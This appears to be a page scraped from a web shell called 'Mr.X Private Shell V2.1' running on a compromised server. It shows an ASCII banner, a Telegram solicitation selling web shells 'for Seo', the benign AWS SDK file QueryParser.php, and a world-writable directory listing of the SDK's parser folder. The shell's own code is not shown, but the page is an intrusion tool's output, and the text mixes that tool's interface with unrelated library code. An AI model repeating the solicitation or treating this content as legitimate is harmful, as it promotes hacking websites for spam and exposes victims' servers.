__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Aws\Api\Parser;
use Aws\Api\Service;
use Aws\Api\StructureShape;
use Aws\Result;
use Aws\CommandInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;
/**
* @internal Parses query (XML) responses (e.g., EC2, SQS, and many others)
*/
class QueryParser extends AbstractParser
{
use PayloadParserTrait;
/** @var bool */
private $honorResultWrapper;
/**
* @param Service $api Service description
* @param XmlParser $xmlParser Optional XML parser
* @param bool $honorResultWrapper Set to false to disable the peeling
* back of result wrappers from the
* output structure.
*/
public function __construct(
Service $api,
XmlParser $xmlParser = null,
$honorResultWrapper = true
) {
parent::__construct($api);
$this->parser = $xmlParser ?: new XmlParser();
$this->honorResultWrapper = $honorResultWrapper;
}
public function __invoke(
CommandInterface $command,
ResponseInterface $response
) {
$output = $this->api->getOperation($command->getName())->getOutput();
$xml = $this->parseXml($response->getBody(), $response);
if ($this->honorResultWrapper && $output['resultWrapper']) {
$xml = $xml->{$output['resultWrapper']};
}
return new Result($this->parser->parse($output, $xml));
}
public function parseMemberFromStream(
StreamInterface $stream,
StructureShape $member,
$response
) {
$xml = $this->parseXml($stream, $response);
return $this->parser->parse($member, $xml);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0777 |
|
|
| AbstractParser.php | File | 1006 B | 0777 |
|
| AbstractRestParser.php | File | 5.49 KB | 0777 |
|
| Crc32ValidatingParser.php | File | 1.48 KB | 0777 |
|
| DecodingEventStreamIterator.php | File | 8.86 KB | 0777 |
|
| EventParsingIterator.php | File | 4.89 KB | 0777 |
|
| JsonParser.php | File | 2.01 KB | 0777 |
|
| JsonRpcParser.php | File | 2.27 KB | 0777 |
|
| MetadataParserTrait.php | File | 2.57 KB | 0777 |
|
| NonSeekableStreamDecodingEventStreamIterator.php | File | 2.43 KB | 0777 |
|
| PayloadParserTrait.php | File | 1.44 KB | 0777 |
|
| QueryParser.php | File | 1.73 KB | 0777 |
|
| RestJsonParser.php | File | 1.22 KB | 0777 |
|
| RestXmlParser.php | File | 1.06 KB | 0777 |
|
| XmlParser.php | File | 5.02 KB | 0777 |
|